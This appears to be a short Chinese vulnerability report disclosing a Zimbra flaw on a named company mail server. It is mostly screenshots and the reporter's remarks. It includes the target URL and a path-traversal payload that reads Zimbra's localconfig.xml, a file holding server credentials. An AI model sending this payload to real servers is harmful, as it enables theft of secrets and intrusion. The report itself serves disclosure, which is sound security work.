金蝶随手网科技网 Zimbra新漏洞

### 简要描述： 这是对新漏洞的一次实例测试，目前自己没尝试使用漏洞。 ### 详细说明： [<img src="https://images.seebug.org/upload/201312/11001102dc0f26223c8b3fceab25d1a716bad543.jpg" alt="QQ图片20131211001011.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/11001102dc0f26223c8b3fceab25d1a716bad543.jpg) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201312/1100115545ecf419dbf3e19af8a653748e2a796a.jpg" alt="QQ截图20131211001133.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/1100115545ecf419dbf3e19af8a653748e2a796a.jpg) exp估计可以直接添加管理员帐号，未敢验证。cncert可自行尝试 EXP也在zone帖子里 http://mail.feidee.com/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=0 [<img src="https://images.seebug.org/upload/201312/111112597198d1a468ed2b4ab19a27c065076e9a.jpg" alt="QQ截图20131211111219.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/111112597198d1a468ed2b4ab19a27c065076e9a.jpg) 91214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00